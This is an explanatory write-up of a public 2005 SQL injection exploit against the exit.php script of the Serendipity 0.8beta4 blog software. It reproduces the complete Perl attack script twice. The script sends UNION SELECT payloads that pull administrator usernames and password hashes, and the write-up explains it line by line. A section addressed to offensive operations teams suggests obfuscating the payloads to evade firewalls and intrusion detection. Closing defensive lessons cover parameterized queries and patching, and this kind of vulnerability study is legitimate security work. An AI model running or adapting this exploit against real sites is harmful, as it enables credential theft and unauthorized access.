S9Y Serendipity 0.8beta4 'exit.php' SQL Injection Explained

S9Y Serendipity 0.8beta4 'exit.php' SQL Injection Explained
What this paper is
This paper describes a security vulnerability in the S9Y (Serendipity) blogging software, specifically version 0.8beta4. The vulnerability is an SQL injection flaw in the exit.php script. An attacker can exploit this to extract sensitive information, such as usernames and password hashes, from the S9Y database. The provided exploit code is a Perl script designed to automate this process.
Simple technical breakdown
The exit.php script in S9Y 0.8beta4 is vulnerable because it doesn't properly sanitize user input before using it in a database query. The exploit leverages this by injecting SQL commands into the entry_id and url_id parameters.
The core of the attack is a UNION SELECT statement. This SQL technique allows an attacker to combine the results of two or more SELECT statements into a single result set.
Here's how it works:
- Targeting
exit.php: The exploit sends specially crafted HTTP requests toexit.php. - Injecting SQL: It manipulates the
entry_idandurl_idparameters with SQL code. UNION SELECT: The injected SQL usesUNION SELECTto query theauthorstable.- Extracting Data: The exploit first tries to extract usernames and then password hashes of users with a
userlevelof 255 (typically administrator accounts). - Redirects: The vulnerable script, instead of showing an error, might redirect the user to a crafted URL containing the extracted data. The exploit captures these redirect URLs.
Complete code and payload walkthrough
The provided Perl script automates the exploitation of the SQL injection vulnerability.
#!/usr/bin/perl
# Serendipity 0.8beta4 exit.php SQL Injection exploit
# (c) ADZ Security Team 2004-2005
# (c) kreon 2005
# http://adz.void.ru/
# kre0n@mail.ru
# Public :)
print "\n\n";
print "# Serendipity 0.8beta4 exit.php SQL Injection exploit\n";
print "# (C) ADZ Security Team 2004-2005\n";
print "# (C) kreon 2005\n";
use IO::Socket;
use Getopt::Std;
getopt("h:d:p:t:");
$opt_p ||= 80;
$opt_d ||= "/";
$opt_t ||= "serendipity_";
if(!$opt_h) {
die("# Usage: $0 -h <host> [-d <dir>] [-p <port>] [-t table_prefix]\n");
}
$sqlpass = "?entry_id=1&url_id=1%20UNION%20SELECT%20password%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";
$sqllogin = "?entry_id=1&url_id=1%20UNION%20SELECT%20username%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";
print "# Host: $opt_h\n";
print "# Dir: $opt_d\n";
print "# Port: $opt_p\n";
print "# Prefix: $opt_t\n";
$Q1 = "GET ".$opt_d."/exit.php".$sqllogin." HTTP/1.0\n";
$Q1 .= "Host: ".$opt_h."\n\n";
$Q2 = "GET ".$opt_d."/exit.php".$sqlpass." HTTP/1.0\n";
$Q2 .= "Host: ".$opt_h."\n\n";
$s = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($txt, 1024);
if($txt =~ m/location: (\S+)/i) {
$login = $1;
}
$s = IO::Socket::INET->new(Proto=>'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($txt, 1024);
if($txt =~ m/location: (\S+)/i) {
$pass = $1;
}
if(!$login || !$pass || $login =~ m/http:\/\//i || $pass =~ m/http:\/\//i) {
print "# Failed :(\n";
exit;
}
print "# Succeed :)\n";
print "# Login: $login\n";
print "# Pass Hash: $pass\n";
print "\n";
# milw0rm.com [2005-04-13]Code Fragment/Block -> Practical Purpose Mapping:
#!/usr/bin/perl: Shebang line, indicating the script should be executed with Perl.# ... comments ...: Metadata about the exploit, author, and origin.print "\n\n"; print "# ...";: Prints informational headers to the console.use IO::Socket;: Imports theIO::Socketmodule for network communication.use Getopt::Std;: Imports theGetopt::Stdmodule for parsing command-line options.getopt("h:d:p:t:");: Parses command-line arguments for host (h), directory (d), port (p), and table prefix (t).$opt_p ||= 80;: Sets the default port to 80 if not provided.$opt_d ||= "/";: Sets the default directory to/if not provided.$opt_t ||= "serendipity_";: Sets the default table prefix toserendipity_if not provided.if(!$opt_h) { die(...); }: Checks if the host (-h) argument is provided. If not, it prints usage instructions and exits.$sqlpass = "?entry_id=1&url_id=1%20UNION%20SELECT%20password%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";: Constructs the SQL injection payload to retrieve the password hash.?entry_id=1&url_id=1: These are likely legitimate parameters that theexit.phpscript expects. The exploit usesentry_id=1andurl_id=1as a base.%20: URL-encoded space.UNION SELECT password FROM ...: This is the core SQL injection. It tells the database to execute a secondSELECTquery and combine its results with the original (likely intended) query. It selects thepasswordcolumn.".$opt_t."authors: Dynamically builds the table name using the provided or default prefix (serendipity_) and theauthorstable.WHERE userlevel=255: Filters the results to only include users with auserlevelof 255, which is typically reserved for administrators./*: This is a comment in SQL. It's used to comment out any remaining part of the original query that might cause syntax errors.
$sqllogin = "?entry_id=1&url_id=1%20UNION%20SELECT%20username%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";: Constructs the SQL injection payload to retrieve the username, similar to$sqlpassbut selectingusername.print "# Host: $opt_h\n"; ...: Prints the configured target details.$Q1 = "GET ".$opt_d."/exit.php".$sqllogin." HTTP/1.0\n"; $Q1 .= "Host: ".$opt_h."\n\n";: Formats the first HTTP GET request to retrieve the username.GET /exit.php?entry_id=1&url_id=1 UNION SELECT username FROM serendipity_authors WHERE userlevel=255/* HTTP/1.0: The full request line.Host: <target_host>: The Host header is crucial for virtual hosting.
$Q2 = "GET ".$opt_d."/exit.php".$sqlpass." HTTP/1.0\n"; $Q2 .= "Host: ".$opt_h."\n\n";: Formats the second HTTP GET request to retrieve the password hash.$s = IO::Socket::INET->new(...); $s->send($Q1); $s->recv($txt, 1024);: Creates a TCP socket connection to the target host and port, sends the first request ($Q1), and receives up to 1024 bytes of the response.if($txt =~ m/location: (\S+)/i) { $login = $1; }: Parses the response for aLocation:header (case-insensitive). If found, it captures the URL followinglocation:into the$loginvariable. This assumes the vulnerable script redirects with the extracted data in the URL.$s = IO::Socket::INET->new(...); $s->send($Q2); $s->recv($txt, 1024);: Repeats the connection, send, and receive process for the second request ($Q2) to get the password hash.if($txt =~ m/location: (\S+)/i) { $pass = $1; }: Parses the second response for aLocation:header and captures the URL into the$passvariable.if(!$login || !$pass || $login =~ m/http:\/\//i || $pass =~ m/http:\/\//i) { print "# Failed :(\n"; exit; }: Checks if both$loginand$passwere successfully captured. It also checks if the captured values look like valid URLs (to avoid false positives or incomplete data). If any check fails, it prints a failure message and exits.print "# Succeed :)\n"; print "# Login: $login\n"; print "# Pass Hash: $pass\n";: If successful, prints a success message along with the extracted username and password hash.
Shellcode/Payload Segments:
This exploit does not contain traditional shellcode in the sense of executable machine code. Instead, the "payload" is the carefully crafted SQL injection string, which is delivered via HTTP GET requests.
- Payload Stage 1 (Username Retrieval):
- URL Parameters:
entry_id=1&url_id=1%20UNION%20SELECT%20username%20FROM%20<prefix>authors%20WHERE%20userlevel=255/* - Purpose: To trick
exit.phpinto executing aUNION SELECTquery that extracts theusernameof an administrator (userlevel=255). The result is expected to be appended to a redirect URL.
- URL Parameters:
- Payload Stage 2 (Password Hash Retrieval):
- URL Parameters:
entry_id=1&url_id=1%20UNION%20SELECT%20password%20FROM%20<prefix>authors%20WHERE%20userlevel=255/* - Purpose: To trick
exit.phpinto executing aUNION SELECTquery that extracts thepassword(likely a hash) of an administrator (userlevel=255). The result is expected to be appended to a redirect URL.
- URL Parameters:
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server. No prior authentication is required for this specific vulnerability.
- Lab Preconditions:
- A vulnerable S9Y installation (version 0.8beta4 or a similarly affected version).
- A web server configured to host the S9Y installation.
- A database (e.g., MySQL) accessible by the web application.
- An administrator account configured in S9Y with
userlevel=255.
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
- The
IO::SocketandGetopt::StdPerl modules (standard modules, usually available). - Network connectivity to the target.
- Execution Pitfalls:
- Incorrect Table Prefix: If the S9Y installation uses a custom table prefix other than
serendipity_, the exploit will fail. The-toption should be used to specify the correct prefix. - Incorrect Directory: If S9Y is not installed in the web root or a subdirectory specified by the
-doption, theexit.phpscript will not be found. - WAF/IDS Evasion: The raw SQL injection strings might be detected by Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS). Encoding or obfuscation might be necessary.
- Response Parsing Errors: The exploit relies on the vulnerable script redirecting with the data in the
Locationheader. If the script behaves differently (e.g., displays data directly, returns an error, or redirects with different formatting), the parsing logic (if($txt =~ m/location: (\S+)/i)) will fail. - Database Configuration: The exploit assumes standard SQL syntax and that the
authorstable anduserlevel,username,passwordcolumns exist and are accessible. - Network Issues: Standard network connectivity problems (firewalls, timeouts, packet loss) can cause the exploit to fail.
- Incorrect Table Prefix: If the S9Y installation uses a custom table prefix other than
- Telemetry:
- Network: Outbound TCP connection to the target IP and port (usually 80 or 443). HTTP GET requests to
/exit.phpwith injected parameters. - Web Server Logs: Access logs will show requests to
/exit.phpwith the injected parameters. Error logs might show SQL errors if the injection is malformed or blocked. - Database Logs: If database logging is enabled, queries executed by the web application might be visible, including the injected
UNION SELECTstatements. - Application Logs: S9Y or related application logs might record errors or unusual activity.
- Network: Outbound TCP connection to the target IP and port (usually 80 or 443). HTTP GET requests to
Where this was used and when
- Context: This vulnerability was discovered and published in 2005. It targets the S9Y (Serendipity) blogging platform, which was a popular web application at the time. Exploits like this were common against web applications that did not implement proper input validation.
- Approximate Years/Dates: Published April 13, 2005. The vulnerability likely existed in versions prior to 0.8beta4 and might have been present for some time before discovery.
Defensive lessons for modern teams
- Input Validation is Paramount: Never trust user input. Always validate and sanitize all data received from external sources (GET/POST parameters, cookies, headers, etc.) before using it in database queries or other sensitive operations.
- Parameterized Queries/Prepared Statements: Use parameterized queries or prepared statements provided by your database abstraction layer or ORM. This is the most effective defense against SQL injection, as it separates SQL code from data.
- Least Privilege: Ensure database users have only the necessary privileges. The web application's database user should not have administrative privileges or the ability to drop tables, for example.
- Error Handling: Configure web applications to display generic error messages to users and log detailed errors server-side. Revealing detailed error messages can leak information about the database schema or application logic.
- Regular Patching and Updates: Keep all software, including web applications, frameworks, and their dependencies, up to date with the latest security patches.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can help detect and block common web attacks like SQL injection by inspecting incoming traffic for malicious patterns. However, they should be used in conjunction with secure coding practices.
- Security Audits and Code Reviews: Regularly audit your codebase for common vulnerabilities like SQL injection.
ASCII visual (if applicable)
This exploit involves a direct interaction between the attacker's machine and the web server, with the vulnerability residing within the web application's logic. A simple flow diagram can illustrate this:
+-----------------+ HTTP GET Request +-----------------+
| Attacker's | ---------------------------->| Target Web |
| Machine | (Exploitative URL) | Server |
| (Perl Script) | | (S9Y 0.8beta4) |
+-----------------+ <----------------------------+-----------------+
HTTP Response
(Redirect with data)Explanation:
- The attacker's machine runs a Perl script.
- The script constructs a malicious HTTP GET request containing SQL injection payloads in the URL parameters.
- This request is sent to the target web server hosting the vulnerable S9Y application.
- The vulnerable
exit.phpscript processes the request, executing the injected SQL query against the database. - The database returns the requested data (username, password hash).
- The vulnerable script, instead of handling the data securely, embeds it into a
Locationheader for a redirect. - The web server sends this redirect response back to the attacker.
- The Perl script captures the
Locationheader from the response, extracting the sensitive data.
Source references
- Paper URL: https://www.exploit-db.com/papers/939
- Raw Exploit URL: https://www.exploit-db.com/raw/939
- Software: S9Y (Serendipity) 0.8beta4
- Vulnerability Type: SQL Injection
- Author: kre0n (ADZ Security Team)
- Publication Date: 2005-04-13
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
# Serendipity 0.8beta4 exit.php SQL Injection exploit
# (c) ADZ Security Team 2004-2005
# (c) kreon 2005
# http://adz.void.ru/
# kre0n@mail.ru
# Public :)
print "\n\n";
print "# Serendipity 0.8beta4 exit.php SQL Injection exploit\n";
print "# (C) ADZ Security Team 2004-2005\n";
print "# (C) kreon 2005\n";
use IO::Socket;
use Getopt::Std;
getopt("h:d:p:t:");
$opt_p ||= 80;
$opt_d ||= "/";
$opt_t ||= "serendipity_";
if(!$opt_h) {
die("# Usage: $0 -h <host> [-d <dir>] [-p <port>] [-t table_prefix]\n");
}
$sqlpass = "?entry_id=1&url_id=1%20UNION%20SELECT%20password%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";
$sqllogin = "?entry_id=1&url_id=1%20UNION%20SELECT%20username%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";
print "# Host: $opt_h\n";
print "# Dir: $opt_d\n";
print "# Port: $opt_p\n";
print "# Prefix: $opt_t\n";
$Q1 = "GET ".$opt_d."/exit.php".$sqllogin." HTTP/1.0\n";
$Q1 .= "Host: ".$opt_h."\n\n";
$Q2 = "GET ".$opt_d."/exit.php".$sqlpass." HTTP/1.0\n";
$Q2 .= "Host: ".$opt_h."\n\n";
$s = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($txt, 1024);
if($txt =~ m/location: (\S+)/i) {
$login = $1;
}
$s = IO::Socket::INET->new(Proto=>'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($txt, 1024);
if($txt =~ m/location: (\S+)/i) {
$pass = $1;
}
if(!$login || !$pass || $login =~ m/http:\/\//i || $pass =~ m/http:\/\//i) {
print "# Failed :(\n";
exit;
}
print "# Succeed :)\n";
print "# Login: $login\n";
print "# Pass Hash: $pass\n";
print "\n";
# milw0rm.com [2005-04-13]